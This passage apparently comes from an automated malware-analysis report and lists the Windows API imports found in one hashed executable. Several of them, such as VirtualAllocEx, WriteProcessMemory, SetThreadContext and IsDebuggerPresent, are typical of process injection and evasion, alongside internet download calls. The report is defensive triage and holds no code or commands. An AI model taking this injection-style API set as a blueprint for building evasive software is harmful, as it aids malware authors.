"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "CreateEventA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "EnumResourceLanguagesA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SetFilePointer"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "WritePrivateProfileStringA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "FindNextFileA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "WriteFile"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetPrivateProfileStringA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "LockResource"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetCurrentProcessId"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetTempFileNameA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "lstrcmpA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetTickCount"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "LoadResource"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "ReadFile"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SetFileAttributesA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "LoadLibraryExA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "FreeResource"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GlobalAlloc"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "LocalFileTimeToFileTime"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "FreeLibrary"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetModuleHandleW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "TerminateThread"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetCurrentProcess"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetExitCodeProcess"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "CloseHandle"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "CreateMutexA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "CreateFileA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetPrivateProfileIntA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "CreateThread"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "TerminateProcess"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetVersion"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetWindowsDirectoryA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "DosDateTimeToFileTime"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "LocalFree"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "MulDiv"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetModuleFileNameA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SetCurrentDirectoryA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetTempPathA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SetEvent"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetVolumeInformationA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "LocalAlloc"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SizeofResource"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetDiskFreeSpaceA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "ResetEvent"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "FindResourceA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "CompareStringA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "CreateDirectoryA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GlobalLock"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "ExitProcess"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "IsDBCSLeadByte"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetSystemInfo"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetDriveTypeA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "RemoveDirectoryA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetStartupInfoW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GlobalUnlock"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetFileAttributesA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "ShowWindow"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "EnableWindow"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "CharNextA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetDC"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SetWindowPos"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetDesktopWindow"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "MessageBoxA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetSystemMetrics"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetWindowRect"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "ReleaseDC"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SetWindowLongA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "CharPrevA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "MessageBeep"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "ExitWindowsEx"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SetForegroundWindow"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "DispatchMessageA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "LoadStringA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SendMessageA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetWindowLongA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "PeekMessageA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SetWindowTextA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "CharUpperA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "CallWindowProcA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetFileVersionInfoA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "VerQueryValueA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "CheckTokenMembership"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SeShutdownPrivilege"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "HeapSetInformation"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "DecryptFileA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SHBrowseForFolder"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SHGetPathFromIDList"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetSidSubAuthority"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetSidSubAuthorityCount"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetSidIdentifierAuthority"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetUserNameA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "LookupAccountNameA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "InitializeSListHead"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "TlsSetValue"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetModuleFileNameW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "DecodePointer"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetVersionExW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "LCMapStringW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetThreadContext"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "TlsFree"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SetFilePointerEx"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SetEnvironmentVariableW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "RaiseException"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "VirtualAllocEx"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "CompareStringW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "EnterCriticalSection"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "FileTimeToSystemTime"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "IsDebuggerPresent"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "HeapAlloc"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetConsoleCP"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "RtlUnwind"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "ResumeThread"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "FindNextFileW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetOEMCP"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetFullPathNameW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "LoadLibraryExW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetTimeZoneInformation"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "ReadConsoleW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "WriteConsoleW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetComputerNameExW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "WaitForSingleObjectEx"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetModuleHandleA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "LeaveCriticalSection"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "CreateFileW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "VirtualAlloc"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetACP"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "ReadProcessMemory"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "WideCharToMultiByte"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetCommandLineW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SystemTimeToTzSpecificLocalTime"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetCurrentDirectoryW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "MultiByteToWideChar"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SetEndOfFile"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "CopyFileA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetModuleHandleExW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "TlsGetValue"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "WriteProcessMemory"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetDriveTypeW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "FlushFileBuffers"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetCPInfo"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SetLastError"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetFileType"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SetThreadContext"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "VirtualFree"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetStringTypeW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "HeapReAlloc"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SetStdHandle"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "FindFirstFileExW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "TlsAlloc"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "HeapSize"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "IsValidCodePage"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "CreateEventW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "DeleteCriticalSection"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "HeapFree"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "DeleteFileW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetProcessHeap"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetConsoleMode"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetStdHandle"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetCommandLineA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "PeekNamedPipe"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetFileInformationByHandle"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SHGetFolderPathA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "ShellExecuteA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "InternetOpenA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "InternetReadFile"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "InternetConnectA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "InternetCloseHandle"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "InternetOpenW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "HttpOpenRequestA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "HttpSendRequestA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "InternetOpenUrlA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "EncodePointer"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetStockObject"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetEnvironmentVariableW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "EnumResourceNamesW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "GetShortPathNameW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "DuplicateHandle"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SetFileAttributesW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "SetCurrentDirectoryW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "InitializeCriticalSection"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API (Indicator: "InterlockedCompareExchange"; File: 